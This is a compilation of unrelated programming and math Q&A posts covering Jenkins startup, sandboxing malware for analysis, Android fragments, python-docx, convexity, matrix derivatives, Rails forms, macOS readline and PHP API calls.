Adding more information: Trying to launch jenkins via the .war file (java -jar /usr/share/jenkins/jenkins.war) works but start it as if it's a new installation, asking for an admin password and all the rest, ignoring the existing config.xml and all the rest already present in /var/lib/jenkins.

A: I have had a similar experience with Jenkins running on a GCE VM. I have not finished solving the problem, but I have managed to get Jenkins running without reconfiguring everything again.
After stepping through the start-up script over a few hours I found a spot where it disappeared into a hole and came back as a failure. By looking at the steps after the failure I was able to get the system going again from first principles.
The commands I ended up running (and should really stick in a script because my Jenkins instance will not start after a system reboot with the same fingerprint you are getting). This is a Debian 10 system running in GCE.
. /etc/default/jenkins
DAEMON_ARGS="--name=$NAME --inherit --env=JENKINS_HOME=$JENKINS_HOME --output=$JENKINS_LOG --pidfile=$PIDFILE"
DAEMON=/usr/bin/daemon
SU=/bin/su
JAVA=`type -p java`
$SU -l $JENKINS_USER --shell=/bin/bash -c "$DAEMON $DAEMON_ARGS -- $JAVA $JAVA_ARGS -jar $JENKINS_WAR $JENKINS_ARGS"

At this point Jenkins is running and answers to my web browser call.


text:
Q: Upload infected .exe to remote location to run it Is there any service where you can upload a .exe that you know has a virus, and they let you run it there remotely?
thanks

A: this might be a good use of VMWare.

A: Please see Sunbelt's online malware analyzer for one option.


text:
Q: Calling a method from a different class that uses variables outside the method I have a problem. I have a method in a class like this:
public void UpdateActionBar(int CurrentFragmentNum)
{
    if (CurrentFragmentNum == 1)
    {
        btnBack.Visibility = ViewStates.Invisible;
        btnNext.Visibility = ViewStates.Invisible;
    }
    else
    {
        btnBack.Visibility = ViewStates.Visible;
        btnNext.Visibility = ViewStates.Visible;
    }

    if (CurrentFragmentNum == 3)
    {
        btnNext.Text = "Finish";
    }
    else
    {
        btnNext.Text = "Next";
    }
}

Now in another class I call this method like this:
new ActionBar_Setup().UpdateActionBar(CurrentFragmentNum);

But as you an see I use the 2 variables: btnBack and btnNext
Those variables are null when I call the method from a different class, because then the variables are not defined. But I can't move the lines that assign a value to those variables because it uses a view variable. Here is the code to show what I mean:
public class ActionBar_Setup : Android.Support.V4.App.Fragment
{
    Button btnBack;
    Button btnNext;

    public int CurrentFragmentNum = 1;
    public int PreviousFragmentNum = 1;
    public string Direction;

    public override void OnCreate(Bundle savedInstanceState)
    {
        base.OnCreate(savedInstanceState);
    }

    public override View OnCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState)
    {
        View view = inflater.Inflate(Resource.Layout.setup_nav_bar, container, false);

        btnBack = view.FindViewById<Button>(Resource.Id.btnBack);
        btnNext = view.FindViewById<Button>(Resource.Id.btnNext);

        btnBack.Click += btnBack_Click;
        btnNext.Click += btnNext_Click;

        UpdateActionBar(CurrentFragmentNum);

        return view;
    }

    public void btnBack_Click(object sender, EventArgs e)
    {
        if (CurrentFragmentNum > 1)
        {
            PreviousFragmentNum = CurrentFragmentNum;
            CurrentFragmentNum -= 1;
            Direction = "Backwards";
            UpdateActionBar(CurrentFragmentNum);
            (Activity as MainActivity)?.ShowFragment(CurrentFragmentNum, PreviousFragmentNum, Direction);
        }
    }

    public void btnNext_Click(object sender, EventArgs e)
    {
        if (CurrentFragmentNum < 3)
        {
            PreviousFragmentNum = CurrentFragmentNum;
            CurrentFragmentNum += 1;
            Direction = "Forwards";
            UpdateActionBar(CurrentFragmentNum);
            (Activity as MainActivity)?.ShowFragment(CurrentFragmentNum, PreviousFragmentNum, Direction);
        }
    }

    public void UpdateActionBar(int CurrentFragmentNum)
    {
        if (CurrentFragmentNum == 1)
        {
            btnBack.Visibility = ViewStates.Invisible;
            btnNext.Visibility = ViewStates.Invisible;
        }
        else
        {
            btnBack.Visibility = ViewStates.Visible;
            btnNext.Visibility = ViewStates.Visible;
        }

        if (CurrentFragmentNum == 3)
        {
            btnNext.Text = "Finish";
        }
        else
        {
            btnNext.Text = "Next";
        }
    }
}

How can I fix this, so I can call the function in a different class?

A: you could make your ActionBar_Setup singleton:
public class ActionBar_Setup : Android.Support.V4.App.Fragment
 {

    public static ActionBar_Setup Instance;
    public static ActionBar_Setup NewInstance()
    {
        if (Instance== null)
        {
            Instance= new ActionBar_Setup();

        }

        return Instance;
    }
    ...
}

then when you create the ActionBar_Setup  like this:
ActionBar_Setup fActionBarSetup = ActionBar_Setup.NewInstance();

finally call UpdateActionBar method in other class like this:
ActionBar_Setup.Instance.UpdateActionBar(3);

A: you can pass parameters to your button events from the view as a GET or POST values on the button and assign the values to your method directly from the views

A: Theyre multiple ways to achieve what you want as per what Ahmed Moawad says. Another possible solution would be to add a btnBack and a btnNext field in the class. Then assign the values to the fields. Once you execute the method. You should be able to grab the fields within the calling method.
I would say seperate the UpdateActionBar method from the form actions. So you'll have your UpdateActionBar in a seperate class as you do. But your btnBack and btnNext fields should probably be named some thing else. Then within the calling method assign the results of your fields to btnNext and btnBack.


text:
Q: I am trying to copy a table from one word file (.docx) to another using python-docx while I am trying to copy tables from one word document to another, I am able to copy the table content but not the actual styling and formatting in the original table.
table1(output_doc,table._tbl)

def table1(output_doc_name,element):
    output_para = output_doc_name.add_paragraph(text="")
    output_para._p.addnext(element)

with this function I was able to copy the content but not the styling associated to the old table. and also my Header for the table is gone.

this is the copied table in my new word document

this is the original and I want this to be replicated.
please help.


text:
Q: strictly convex function when plotted but second derivative not unambiguously positve I have a function
$$ z(x) = (Kx)^{x/(1-x)}, x \in (0,1)\text{ and }K>1 $$
When I plot the function it has a U-shape. However when I take the second derivative wrt $x$ I have the following expression for it:
$$ z\cdot \left[\left[\frac{1}{1-x} + \frac{\log(Kx)}{(1-x)^2}\right]^2+\frac{1}{(1-x)^2}+\frac{\frac{(1-x)^2}{x}+2\cdot(1-x)\log(Kx)}{(1-x)^4}\right] $$
The last term makes it problematic. Since the logarithm can be negative (even though rest all terms are positive). This is really strange as the graph of the function is strictly convex.
I am thinking for hours but do not figure out the mistake

A: Let's prove that your function is log-convex. The second derivative of the logarithm of your function is  (easy to check)
$$\frac{ 2 x \ln (K x)-x^2+1}{(1-x)^3 x}.$$
The denominator is always positive, therefore no problem there. Let's study the positivity of the numerator:
$$2 x \log (K x)-x^2+1 = 2x\ln K + 1-x^2+2x\ln x.$$
The first term is nonnegative for $K\ge 1$, so it's ok, we omit it. So we have $$1-x^2+2x\ln x.$$The value of this function in $x=1$ is zero. It's derivative on $x\in (0,1)$ is $$ 2-2x+2\ln x = 2(1-x+\ln x).$$ To prove that this expression is negative is an easy exercise, therefore we conclude that $1-x^2+2x\ln x+2x\ln K$ is always nonegative on $[0,1]$ - in fact, it's zero in $x=1$ for $K=1$ and strictly greater than zero everywhere  if $K>1$. If $K>1$, then $$\frac{ 2 x \ln (K x)-x^2+1}{(1-x)^3 x} $$is strictly positive on $[0,1]$. If $K=1$ then we need to study the following limit:$$\lim_{x\to 1}\frac{ 2 x \ln (  x)-x^2+1}{(1-x)^3 x}. $$ It's possible to show that in is, in fact, $+\infty$ (that what I called an exercise), thus for $K\ge 1 $ $$\frac{ 2 x \ln (K x)-x^2+1}{(1-x)^3 x}>0,\quad 0< x<1. $$ Hence, the function $(Kx)^{x/(1-x)}$ is strictly log-convex, and, in particular, strictly convex.
As to your problem with that second derivative, there's no error there. The logarithm can be indeed negative, but not "sufficiently negative" to counter all positive terms that you had before.


text:
Q: VS 2010 Database Project deploy sql scripts I am working on a sql database project in VS 2010. I know how to synchronize the schema, but what I want is this:
1. I have some data sql scripts that inserts data into some tables.
2. I want to when I click Deploy on the DB project to automatically deploy those data scripts and execute them on the sql server.
How to do this?
Thanks

A: You'll need to put the INSERT statements into a post deployment script.


text:
Q: Rails: form_for with field for Hash i've got model with:
class Product < ActiveRecord::Base
  attr_accessible :category, :description, :img_url, :name, :price, :quantity, :tags

  serialize :tags, Hash
end

and try to make form for it
<%= form_for @product do |f| %>
    <%= f.label :"tags[:condition]_new", "new" %>
    <%= f.radio_button :"tags[:condition]", "New", checked: true %>
    <%= f.radio_button :"tags[:condition]", "Used" %>
<% end %>

unfortunately it rails raise

undefined method `tags[:condition]' for #Product:0x007fd26d965810>
  <%= f.radio_button :"tags[:condition]", "Used" %>  <-- ONLY FOR 2ND LINE. first is okey. WHY?!

and I can't figure out why its trying to put method on it. Has anyone  idea how to make proper field for hash value?
+ Why it fails only on 2nd f.radio_button and i passes first one?

A: This is because you are not setting any value for 2nd radio button, try this and it will work fine.
<%= f.radio_button :"tags[:condition]", "Used", checked: false %>

As if you will not pass any value, then FormHelper class will call 'name[:condition]' method on @product to get its corresponding value, though there is no method defined in the model it raises exception.


text:
Q: Python Readline on macOS behaves differently than on Linux/Windows A project I'm working on uses a custom CLI handler instead of Python's cmd.Cmd class.  Without getting too much in detail, the handler features TAB-key completion to assist the operator with command usage.  The feature works as expected on Windows (using pyreadline) and Linux (using GNU's readline).
Here is an example of the expected behavior (assume "cmd > " is the prompt and that [TAB] is a push of the TAB key):
cmd > [TAB]
cd exit load save                        # all the available commands
cmd > c[TAB]                             # autocompletes to 'cd'
cmd > cd [TAB]
cd ./folder1 cd ./folder2 cd ./folder3   # folders in the cwd
cmd > cd C:\[TAB]
cd C:\Users cd C:\Windows...             # enumerates folders in C:\ (on windows)
cmd > cd /[TAB]
cd /bin cd /opt cd /usr...               # enumerates folders from root (on linux)

The custom class defines the following tab completion method, which is set using readline.set_completer():
def tab_completer(self, text, state):
    # rl delims set to "" so we get the whole line as a single string
    words = re.split(r'[\s\t\n]+', text)
    # find_subcompleter populates a list of possible matches or next words
    # each command implements its own completer_stub depending on the function (ex: cd will complete directory names)
    retval = self.find_subcompleter(words.pop())
    try:
        return retval[state]
    except IndexError:
        return None

The function works as expected on Windows (10, Python 3.6.6) and Linux (CentOS 7, Python 3.6.8), but something strange happens on macOS (10.15.7, Python 3.8.2 via xcode on zsh terminal):
cmd > [TAB]
cd exit load save    # this is good
cmd > c[TAB]         # still autocompletes to 'cd', good
cmd > cd [TAB]
cd exit load save    # as if I've typed nothing!

For those of you wondering, this behavior happens with ANY command, not just with cd.
I'm aware that the underlying readline implementation on macOS uses libedit due to GNU licensing.  I just haven't seen anyone else (to date) mention this difference on any other forums.  A possible solution that comes to mind is to add a conditional for libedit implementations to use get_line_buffer() and redisplay() to mimic the correct behavior.  Any pointers in the right direction are appreciated!
Thank you


text:
Q: Matrix by matrix derivatives Assume $X$ not being a square matrix. If $\mathbf{M}=\mathbf{X}^T \mathbf{X}−\mathbf{I}$ and $f(\mathbf{X})=\operatorname{tr}(\mathbf{M}^T \mathbf{M})$, now can I apply the chain rule to obtain $\frac{\partial f}{\partial \mathbf{X}}$, i.e:
$$\frac{\partial \operatorname{tr}(\mathbf{M}^T\mathbf{M})}{\partial \mathbf{M}} \times \frac{\partial \mathbf{M}}{\partial \mathbf{X}}$$
We know that $\frac{\partial\operatorname{tr}(\mathbf{M}^T\mathbf{M})}{\partial \mathbf{M}}=2\mathbf{M}$, but what is $\frac{\partial \mathbf{M}}{\partial\mathbf{X}}$?
Additional note: From Eq. 18 - 19 from http://www.sanjivk.com/SSH_CVPR10.pdf it seems that $\partial f / \partial \mathbf{X} = 2(\mathbf{X}\mathbf{X}^T-\mathbf{I})\mathbf{X}$, but I cannot see how?

A: First find the differential, then the derivative is easy.
In terms of the double-dot product, $f = \rm{tr}(M'.M) = M:M$
So $$\eqalign{df &= d(M:M) \cr &= 2 M:dM}$$
and $$\eqalign {dM &= d(X'.X -I) \cr &= dX'.X + X'.dX}$$
Substituting the second result into the first yields
$$\eqalign {
df &= 2 (M:dX'.X + M:X'.dX) \cr
   &= 2 (X.M':dX + X.M:dX) \cr
   &= 4 (X.M) : dX
}$$
Finally, the derivative is
$$
\frac{\partial f}{\partial X} = 4(X.M)
$$


text:
Q: Extract data from an API with PHP Im trying to understand more about APIs thats why I got new task.
Im trying to build a shop website. Everything i know is from Here(Rapidapi)
All I could do is to echo out the online API on my project Server. So my Question is how do I echo(?) out the i.g 'products'.
This is my code:
<?php
$url = 'http://10.100.40.80:1337';
$collection_name = 'products';
$request_url = $url . '/' . $collection_name;
$curl = curl_init($request_url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, [
  'Content-Type: application/json'
]);
$response = curl_exec($curl);
curl_close($curl);
echo $response;
?>

And this is from the API:
    "id": 1,
"product_name": "Awesome Wooden Cheese",
"product_number": "MV8YUWEA7",
"description": "Sint accusantium earum adipisci consectetur velit vel aperiam aut et. Provident aut quam aperiam expedita qui est. Iste esse dolores libero eius vitae exercitationem modi. In aut sapiente qui sit porro.\n \rNemo dolores aliquid nisi molestiae. Omnis sint quia quia. Dolor corrupti ut officiis reiciendis consequatur in est. Quia consequuntur nihil atque omnis amet laboriosam.",
"price": 830,
"published_at": "2017-12-14T11:05:07.000Z",
"created_at": "2019-02-19T09:39:58.000Z",
"updated_at": "2019-02-19T09:39:58.000Z",
"user": {
  "id": 1,
  "username": "rheinschafe",
  "email": "react@rheinschafe.de",
  "provider": "local",
  "confirmed": true,
  "blocked": false,
  "role": 1
},
"weight": 37307,
"discount": null,
"image": "https://images.unsplash.com/photo-1538410797877-279eaba2f663?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=800&h=800&fit=crop&ixid=eyJhcHBfaWQiOjF9",
"images": [

],
"categories": [
  {
    "id": 19,
    "name": "DVDs & Videos",
    "created_at": "2019-02-19T10:38:37.000Z",
    "updated_at": "2019-02-19T10:38:37.000Z",
    "product": 0
  }
]

,
I would like to give it in form auf this Bootstrap form.
Thanks for helping! :)

A: First of all the API returns a JSON-String. So you have to decode it to an array first. I think that your example is just an excerpt right? So you have to loop over each product and then you can embed the product information in the bootstrap card.
Here is a code example how you can do this:
$url = 'http://10.100.40.80:1337';
$collection_name = 'products';
$request_url = $url . '/' . $collection_name;
$curl = curl_init($request_url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, [
  'Content-Type: application/json'
]);
$response = curl_exec($curl);
curl_close($curl);

// decode your json-string to an associative array
$products = json_decode($response, true);

This way you can output your product array in html:

  <?php foreach((array) $products as $product): ?>

<?= $product['product_name']; ?>

<?= $product['description']; ?>

              Go somewhere

  <?php endforeach; ?>


text:
Q: How to display custom ListFragment on MainActivity's tab using custom ArrayAdapter Ok so I have a main activity with 3 tabs made by the standard Android template (ActionBar tabs with ViewPager). I have a List<AppInfo> which has some data I want to display on the 2nd tab in a ListView with 2 text fields per row.
The code below is organized as such:
my ArrayAdapter has the List<AppInfo>. It also uses app_info_row_layout.xml
my ListFragment sets its listadapter to my ArrayAdapter. It also uses list_fragment.xml
my FragmentPagerAdapter then creates my ListFragment in its getItem() method
Here is my ArrayAdapter class
public class AppInfoList extends ArrayAdapter<AppInfo>{
    private List<AppInfo> list;
    private final Context context;

    public AppInfoList(Context context, int resource) {
        super(context, resource);
        this.context = context;
        list = // a list with objects is generated
    }

    @Override
    public View getView(int position, View convertView, ViewGroup parent){
        AppInfo appInfo = list.get(position);
        LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
        if(convertView == null){
            convertView = (View) inflater.inflate(R.layout.app_info_row_layout, null, false);
        }

        // text field 1
        TextView appName = (TextView) convertView.findViewById(R.id.appName);
        appName.setText(appInfo.packageName);

        // text field 2
        TextView totalTime = (TextView) convertView.findViewById(R.id.totalTime);
        totalTime.setText( " minutes" ); // took out logic to make code shorter

        return convertView;
        }
}

the above uses a simple app_info_row_layout.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content" >

    <TextView
       android:id="@+id/appName"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="@+id/appName"
        android:textSize="30sp" >
    </TextView>

    <TextView
        android:id="@+id/totalTime"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="@+id/totalTime"
        android:textSize="20sp" >
    </TextView>

</LinearLayout>

and here is the custom ListFragment that's supposed to use the above ArrayAdapter and display its data in a ListView
public class AppInfoListFragment extends ListFragment{
    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState){
        View rootView = inflater.inflate(R.layout.list_fragment, container, false);
        return rootView;
    }

    @Override
    public void onActivityCreated(Bundle savedInstanceState){
        super.onActivityCreated(savedInstanceState);
        AppInfoList appInfoAdapter = new AppInfoList(getActivity(), 0);
        setListAdapter(appInfoAdapter);
    }

}

using the following list_fragment.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/LinearLayout1"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical">

    <ListView
        android:id="@android:id/list"
        android:layout_width="match_parent"
        android:layout_height="match_parent" >
    </ListView>

    <TextView
        android:id="@android:id/empty"
        android:layout_width="match_parent"
        android:layout_height="wrap_content" >
    </TextView>

</LinearLayout>

I've extended the FragmentPagerAdapter and created the following
public class SectionsPagerAdapter extends FragmentPagerAdapter {

        public SectionsPagerAdapter(FragmentManager fm) {
            super(fm);
        }

        @Override
        public Fragment getItem(int position) {
            // getItem is called to instantiate the fragment for the given page.
            // Return a PlaceholderFragment for 1st and 3rd tab

            // return different views/fragments here
            if(position == 1){
                if(appInfoListFragment == null)
                    appInfoListFragment = new AppInfoListFragment();
                return appInfoListFragment;
            }
            else
                return PlaceholderFragment.newInstance(position + 1);
        }

        @Override
        public int getCount() {
            // Show 3 total pages.
            return 3;
        }
}

When I run the application, the 2nd tab is just blank instead of showing the list. What am I doing wrong?

A: I would use the following setup:
Array Adapter class:
public class AppInfoList extends ArrayAdapter<AppInfo>{
    private List<AppInfo> list;
    private final Context context;

    public AppInfoList(Context context, list<Appinfo>) {
        super(context, R.layout.rowLayout, list);
        this.context = context;
        list = list;
    }

    @Override
    public View getView(int position, View convertView, ViewGroup parent){
        AppInfo appInfo = list.get(position);
        LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
        if(convertView == null){
            convertView = (View) inflater.inflate(R.layout.app_info_row_layout, null, false);
        }

        // text field 1
        TextView appName = (TextView) convertView.findViewById(R.id.appName);
        appName.setText(appInfo.packageName);

        // text field 2
        TextView totalTime = (TextView) convertView.findViewById(R.id.totalTime);
        totalTime.setText( " minutes" ); // took out logic to make code shorter

        return convertView;
        }
}

All other classes seem to be fine. For your reference, I used the following tutorial to help me.